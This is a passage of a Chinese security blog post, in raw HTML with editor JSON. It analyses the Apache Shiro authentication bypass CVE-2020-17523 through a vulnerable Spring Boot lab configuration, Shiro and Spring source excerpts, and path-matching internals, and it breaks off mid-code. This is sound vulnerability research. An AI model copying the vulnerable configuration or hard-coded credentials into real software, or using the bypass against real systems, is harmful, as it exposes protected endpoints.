4;5A23-1669643991047&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hRXW-1669643991045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RuF5-1669643991246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZcJO-1669643991245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xJhi-1669646561310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gcyM-1669646561306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NzY4-1669649759177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PZet-1669649759175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dSTs-1669649701404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9hZb-1669649701402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LbgX-1669649702753&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8zbV-1669649702751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LuFg-1669643990267&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0NHN-1669643990268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh2m-1669650556968&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4196/WEBRESOURCEf2d7d6db9b6da22440d5012ebe8596c0&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4196/WEBRESOURCEf2d7d6db9b6da22440d5012ebe8596c0&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wehi-1669650124978&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mR1u-1669650124976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mHFD-1669650158196&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4186/WEBRESOURCE282646f661db028483b64ec5044945a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4186/WEBRESOURCE282646f661db028483b64ec5044945a3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sPWj-1669650182081&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4188/WEBRESOURCE23f9dc7ca9366948d049a211c3886639&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4188/WEBRESOURCE23f9dc7ca9366948d049a211c3886639&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUJC-1669650182087&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SSTd-1669650182084&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tQui-1669650221277&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4191/WEBRESOURCE28302bf424915782b0ecf880a4d14c41&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4191/WEBRESOURCE28302bf424915782b0ecf880a4d14c41&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jbk0-1669650339749&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4193/WEBRESOURCE683c9eb46b346aa977489b55e8585497&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4193/WEBRESOURCE683c9eb46b346aa977489b55e8585497&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m6gW-1669650339052&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u31W-1669650339048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从而导致绕过。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9nXr-1669642463389&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V6lQ-1669642463387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LNfY-1669650560596&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qka4-1669650560597&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCw2-1669650729332&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EEDl-1669650729330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;tGrP-1669650735751&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/jweny/shiro-cve-2020-17523&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wl4Z-1669650735750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/jweny/shiro-cve-2020-17523&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ittN-1669650735753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySr-1669650736601&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KZy8-1669650736599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;hWKY-1669650759664&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.cnblogs.com/waycx/p/12800393.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ayIW-1669650759663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.cnblogs.com/waycx/p/12800393.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5lIW-1669650759666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><p>最近正好工作碰到需要重新分析一下这个漏洞。</p><p><span style="font-weight: bold;font-size: 28px;">正文：</span></p><p><span style="font-weight: bold;font-size: 20px;">关于Shiro框架：</span></p><p>从功能的角度来看shiro主要有三个核心组件，分别为：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Subject</span> :<span class="code-snippet__string">经过认证的操作主体。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">SecurityManager</span>: <span class="code-snippet__string">Shiro内部用于提供各种安全管理接口的内部实体。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Realm</span>: <span class="code-snippet__string">可以看作用于Shiro进行主体认证的凭证，Shiro会从应用配置的Realm中查找对应的主体认证信息以及其权限信息。</span></span></code></pre></section><p>今天分析的漏洞主要关注SecurityManager中Filter对于路由的处理逻辑。</p><p><br/></p><p>漏洞环境来自jwenj师傅：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://github.com/jweny/shiro-cve-2020-17523" target="_blank">https://github.com/jweny/shiro-cve-2020-17523</a></span></p><p>（springboot用的 2.4.4）</p><p><br/></p><p>参考如下代码：</p><p>ShiroConfig：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">@Configuration</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ShiroConfig</span> {</span></span></code><code><span class="code-snippet_outer">    @<span class="code-snippet__function">Bean</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    MyRealm <span class="code-snippet__title">myRealm</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> MyRealm();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    @<span class="code-snippet__function">Bean</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    DefaultWebSecurityManager <span class="code-snippet__title">securityManager</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        DefaultWebSecurityManager  manager = <span class="code-snippet__keyword">new</span> DefaultWebSecurityManager();</span></code><code><span class="code-snippet_outer">        manager.setRealm(myRealm());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> manager;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    @<span class="code-snippet__function">Bean</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    ShiroFilterFactoryBean <span class="code-snippet__title">shiroFilterFactoryBean</span><span class="code-snippet__params">()</span></span>{</span></code><code><span class="code-snippet_outer">        ShiroFilterFactoryBean bean = <span class="code-snippet__keyword">new</span> ShiroFilterFactoryBean();</span></code><code><span class="code-snippet_outer">        bean.setSecurityManager(securityManager());</span></code><code><span class="code-snippet_outer">        bean.setLoginUrl(<span class="code-snippet__string">&#34;/login&#34;</span>);</span></code><code><span class="code-snippet_outer">        bean.setSuccessUrl(<span class="code-snippet__string">&#34;/index&#34;</span>);</span></code><code><span class="code-snippet_outer">        bean.setUnauthorizedUrl(<span class="code-snippet__string">&#34;/unauthorizedurl&#34;</span>);</span></code><code><span class="code-snippet_outer">        Map&lt;String, String&gt; <span class="code-snippet__built_in">map</span> = <span class="code-snippet__keyword">new</span> LinkedHashMap&lt;&gt;();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">map</span>.put(<span class="code-snippet__string">&#34;/doLogin/&#34;</span>, <span class="code-snippet__string">&#34;anon&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">map</span>.put(<span class="code-snippet__string">&#34;/admin/*&#34;</span>, <span class="code-snippet__string">&#34;authc&#34;</span>);</span></code><code><span class="code-snippet_outer">        bean.setFilterChainDefinitionMap(<span class="code-snippet__built_in">map</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span>  bean;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>MyRealm：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MyRealm</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AuthorizingRealm</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> AuthorizationInfo <span class="code-snippet__title">doGetAuthorizationInfo</span><span class="code-snippet__params">(PrincipalCollection principalCollection)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> AuthenticationInfo <span class="code-snippet__title">doGetAuthenticationInfo</span><span class="code-snippet__params">(AuthenticationToken authenticationToken)</span> <span class="code-snippet__keyword">throws</span> AuthenticationException </span>{</span></code><code><span class="code-snippet_outer">        String username = (String) authenticationToken.getPrincipal();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!<span class="code-snippet__string">&#34;java&#34;</span>.equals(username)){</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> UnknownAccountException(<span class="code-snippet__string">&#34;unkown user&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> SimpleAuthenticationInfo(username, <span class="code-snippet__string">&#34;123&#34;</span>, getName());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>LoginController：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@RestController</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LoginController</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@PostMapping(<span class="code-snippet__meta-string">&#34;/doLogin&#34;</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> void doLogin(String username, String password) {</span></code><code><span class="code-snippet_outer">        Subject subject = SecurityUtils.getSubject();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            subject.login(new UsernamePasswordToken(username, password));</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;success&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (AuthenticationException e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;failed&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@GetMapping(<span class="code-snippet__meta-string">&#34;/admin/{name}&#34;</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> String admin(String name) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;admin page&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@GetMapping(<span class="code-snippet__meta-string">&#34;/login&#34;</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> String  login() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;please login!&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>其中比较核心的ShiroFilterFactoryBean类：</p><p><img class="rich_pages wxw-img" data-ratio="0.43015521064301554" style="width: 531px;height: 233px;" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=96107c06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtM1ayQR57ct1e3NdnWeZuSdfe0Sqtr3tI6zZqtguibGT2AoiaOCV2EO3A%2F640%3Fwx_fmt%3Dpng"/></p><p>通过继承FactoryBean接口，在Filter beans实例化时通过getObjectFromFactoryBean方法最终调用到ShiroFilterFactoryBean中的createInstance方法将securityManager与chainResovler设置到我们的Shiro Filter中，并将该filter实例放入后置处理器列表中</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//org.springframework.boot.web.servlet.ServletContextInitializerBeans</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">protected</span> void addAdaptableBeans(ListableBeanFactory beanFactory) {</span></code><code><span class="code-snippet_outer">    MultipartConfigElement multipartConfig = <span class="code-snippet__keyword">this</span>.getMultipartConfig(beanFactory);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//先注册servlet，然后注册filter</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.addAsRegistrationBean(beanFactory, Servlet.<span class="code-snippet__keyword">class</span>, new ServletContextInitializerBeans.ServletRegistrationBeanAdapter(multipartConfig));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.addAsRegistrationBean(beanFactory, Filter.<span class="code-snippet__keyword">class</span>, new ServletContextInitializerBeans.FilterRegistrationBeanAdapter());</span></code><code><span class="code-snippet_outer">    Iterator var3 = ServletListenerRegistrationBean.getSupportedTypes().iterator();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span>(var3.hasNext()) {</span></code><code><span class="code-snippet_outer">        Class&lt;?&gt; listenerType = (Class)var3.next();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.addAsRegistrationBean(beanFactory, EventListener.<span class="code-snippet__keyword">class</span>, listenerType, new ServletContextInitializerBeans.ServletListenerRegistrationBeanAdapter());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=abd783b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtBIianaN2O9PGpj2AI6E6LxSVjNDvrjBUjVFdPe7x8EC8w5mg55WNM6A%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=788ed10b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Yt5hJk95IzfCe6IY402yrRokoqYLcQnVpRJJjJOYzIHCiaFXBL9KJBBJQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=7b0ca289&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtHiclkBzg77nTUPQl2libBVgPnzvjiafUWSFxc7g3TJHPfuYicPKAeXcESA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=e2c9381c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Yt6CPBjsUnibDIQp7UgJI4FNibAxib2CR6ickIorCBWnXuXBD9WolNwfnxMQ%2F640%3Fwx_fmt%3Dpng"/></p><p>并通过实现postProcessBeforeInitialization方法在剩余的Filter bean调用doCreateBean方法时进入Shiro的后置处理器中将默认的Spring Filters并入到Shiro Filter中：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> postProcessBeforeInitialization(<span class="code-snippet__built_in">Object</span> bean, <span class="code-snippet__built_in">String</span> beanName) throws BeansException {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (bean <span class="code-snippet__keyword">instanceof</span> Filter) {</span></code><code><span class="code-snippet_outer">        log.debug(<span class="code-snippet__string">&#34;Found filter chain candidate filter &#39;{}&#39;&#34;</span>, beanName);</span></code><code><span class="code-snippet_outer">        Filter filter = (Filter)bean;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.applyGlobalPropertiesIfNecessary(filter);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.getFilters().put(beanName, filter);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        log.trace(<span class="code-snippet__string">&#34;Ignoring non-Filter bean &#39;{}&#39;&#34;</span>, beanName);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> bean;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-weight: bold;color: rgb(77, 77, 77);font-size: inherit;font-family: SimHei, STHeiti;"></span></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=bb319748&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtGGYEv2qP2PARYF6DZGJn12ibHa9D0xJric9qSjMXcf3ia1XzZezrtZHIw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;color: rgb(77, 77, 77);font-size: inherit;font-family: SimHei, STHeiti;"></span></p><p><img data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=47a2aa4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtSibqljGsYjvcF7wAGDdIn2wsfn6iavupt46OMlzoVePMyhlIyic7IcCBA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;color: rgb(77, 77, 77);font-size: inherit;font-family: SimHei, STHeiti;"></span></p><p><img data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=20b786ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YttC4OnaBWBiaMzFyvluhVia4jEO1M8xJ8s2S8ib86W8JzZHr1bxk350dicQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=2cdeb57f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtCPDBPOdlcW66CZia63G42mUQrU4UDswQPcCOvXkDiaBIFpcOd5hraibRg%2F640%3Fwx_fmt%3Dpng"/></p><p>至此Shiro Filter完成了我们所关心的相关初始化以及合并操作。</p><p><br/></p><p><span style="font-weight: bold;font-size: 22px;">PathMatchingFilterChainResolver</span></p><p>问题出在这个不安全的chainResovler上：</p><p><span style="font-size: 18px;font-weight: bold;">tokenizeToStringArray</span><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=a5a05c39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtOcAzDXwQUibfovJkItdARiaIicRmP35qmu8dmNbnLSo8Bf2WIfgwcNZIg%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//private static final String DEFAULT_PATH_SEPARATOR = &#34;/&#34;;</span></span></code><code><span 